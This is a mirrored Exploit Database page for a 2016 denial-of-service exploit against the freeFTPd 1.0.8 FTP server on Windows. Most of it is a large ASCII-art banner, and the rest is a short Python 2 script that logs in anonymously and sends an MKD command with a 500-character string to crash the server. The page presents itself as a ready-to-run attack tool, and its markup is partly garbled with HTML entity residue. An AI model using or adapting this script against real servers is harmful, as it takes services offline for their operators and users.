freeFTPd 1.0.8 – ‘mkd’ Denial of Service

• Exploit Database
• 119 阅读

• 作者： ScrR1pTK1dd13
  日期： 2016-10-31
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/40647/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98

  from ftplib import FTP   print &apos;&apos;&apos; ,;&apos;++&apos;;, &apos;++++++++++++++++; .+++++++++++++++++++++++&apos;<code> ;++++++:</code><code>:++++++: &apos;++++&apos;</code> , +<code>. :; .</code><code> .&apos;++++; :++++,&apos;+ </code>+.+.+<code>+&apos;:+:+ +:</code> +:++++, ++++,<code>++</code>+.+<code>+&apos;:+.+ +:&apos;.+. :++++ ,+++; +</code> +:&apos;:+<code>+&apos;,+</code>+,++.+:+ +,&apos;+++. &apos;+++<code></code>++ ;+ ,+:&apos;; ,: ;;+<code>++ +.+</code>+. <code>+++; +++;</code>: ++&apos; +&apos;+++ :++;++,+:+ &apos;+++ +++, ++&apos; ,+ .;+++++&apos;,<code> : +&apos;,+ :+++ +++</code> ++ +:+ +: .+++++++++++++++;:++&apos;+,,<code>,+++ +++</code><code>+;.+&apos;</code> &apos;++++++++++++++++++++. ;+;+:.+<code> .+++ &apos;++</code>++ +,.<code>&apos;++++++++++++++++++++++++. +;.+</code>+,++; :++,+:++<code>&apos;,+++++++++++++&apos;&apos;++++++++++++</code>+.+: :++. ++;. +:+:+++++++++&apos;.<code>;++++++++..+&apos; +++++ +++;++ +:++++++++,.+++++++;;:+;+ +++ :++;+,++</code>+++++++,<code>++++++&apos;+,+,.+ </code>++. ++: <code>+</code>+&apos;.++++++&apos;;+++++&apos;+<code>;++&apos;++ &apos;++ ,+,&apos;++++++,.+++++;++ ++: ++. &apos; +++++++</code> +++++. <code> &apos;+.:++ ;++ +; + ;+++++</code> +++++ :++ ; ++: ++, &apos;++ <code>+++++,</code>++++++<code> </code>. :++ ,++<code> ;+: +++++&apos;:++++</code>,+++<code> ++; .+++</code> .++++++++++&apos;++:: ++&apos; ++<code> ;+&apos;:: +++++. ++++</code> &apos;<code>+++</code>.++ .++ <code>+++++++&apos;+++++:++ &apos;++ <code>++;&apos;++++</code> ++++++; ++, +.,;: ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++: ++<code> </code>+++<code></code>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++ +;,<code>;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ </code>++ ,&apos;+++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ,++ <code>++&apos;+ ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;+++++: ;++</code>.,. +++++ +++ &apos;..&apos;: ,++&apos;<code>,+++</code><code>++++ ++++;+</code> ++++:++++++&apos;++++++&apos;++++ +++ :.&apos;<code>; ++++: ++</code> :+,++<code> ,+: ++++ &apos;++ </code>+++. ++++; : +: +,++++ ;++:<code> ++++&apos;</code>+++++ ,++ <code>+;;+ +++++;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:;;;;;;;;;;;;;;++++++. </code>++++,+ +++++:+++++++++++++++++++++++++++++++++++++++++++++++++++++++++&apos; ++<code> </code>, ;++++ ++++++++++++++++++++++++++++++++++++:++++++++++++++++++++ ++<code> .+++.</code>++++:++++++++++++++++++++++++++++++++++++<code>++++++++++++++++++, ++: &apos;,&apos;+: +++++:+++++,,,,,,,,,,,,,,,,,,,,,,,,;+++++++++:,:,,:,,+++,. ;+++:</code>, &apos;++++<code>+++++. +++++</code>++++&apos;.+&apos;++, ++ ++++++++:+++++++++++;++++++.+++ ++, &apos;;<code>+&apos; +++++</code>++++++++++++ ++++<code> ++. :++ &apos;++ :++;, .+++++ ++++++</code> ++++++,+++++++: ++ +</code> :+, +++++:.++++++&apos;:++++++;.++++. +<code></code>++ ++&apos; ;++<code></code>+++++<code>,+++++++&apos;</code> :+++++++; +++++:++<code>+++ ,++ ,: + &apos;+++++ .++++++++++&apos;;:;++++++++++: +++++ ;+&apos; ++ +++ :+&apos;++++++++++++++++++++++++++++<code> +++++. ;+</code> ,+++ ,++ :++<code>;+</code> ++++++<code> :++++++++++++++++++&apos;+++++&apos; </code>+,+;<code>;</code>++. +++ : ++.+ <code>++++++::++++++++++++++;,+++++&apos; ++</code>++++ ++,+;+</code><code>+++++++</code><code>:++++++++:</code> ++++++&apos; ++,+; ;++<code> &apos;++:+</code>&apos;++++++++<code></code>+++++++;+++ ;<code>++; +++</code>:<code>++++++++++:,++++++++, +,++ +++ +++ +++;&apos;:+++++++++++&apos;;::;&apos;+++++++++++ ;+ +,&apos;+++ ,++++++.+.:+++++++++++++++++++++++++.&apos;&apos; ++ ++++ ;++&apos;<code> +</code>+<code>;. </code>+++++++++++++++++++++, :,+,:+:+++, ;+++,++:&apos;++<code> ,+++++++++++++++;++ .++ </code>+++: ;+++ + +<code>++;.;&apos;++++&apos;:</code> ++.+&apos;:++ +++: :+++<code></code>++, :;+<code>+;::+ +,+</code>+. .+++, .+++&apos;<code>, +</code>:&apos;+ +,+<code> +, +:+.++:&apos;;+ ++++++ ++++.+&apos;:++: +;+<code> &apos;: +:+ +.+ +&apos; :++++ :++++. . +,+,;+&apos;</code> &apos;; :&apos;+<code>+&apos;+,++++, +++++:</code> +<code>+&apos;</code> &apos;; <code>++</code> ;++++&apos; ++++++: ;&apos;+:++++++ +++++++&apos;:. </code>,:+++++++&apos; .++++++++++++++++++++++. `:&apos;++++++++++++&apos;,   ############################################## #Created: ScrR1pTK1dd13# #Name: Greg Priest # #Mail: ScrR1pTK1dd13.slammer@gmail.com # ##############################################     # Exploit Title: FreeFTPD_1.0.8_mkd_command_DoS_Exploit # Date: 2016.10.30 # Exploit Author: Greg Priest # Version: FreeFTPD_1.0.8 # Tested on: Windows XP, Windows 7 x64   &apos;&apos;&apos;   ftp_ip = raw_input("FTP server IP:") killerstring = &apos;A&apos; * 500 ftp = FTP(&apos;127.0.0.1&apos;) ftp.login(&apos;anonymous&apos;, &apos;h4ck3r@h4ck3r.net&apos;) print ftp.login print "SERVER KILLED" FTP.mkd(ftp, killerstring)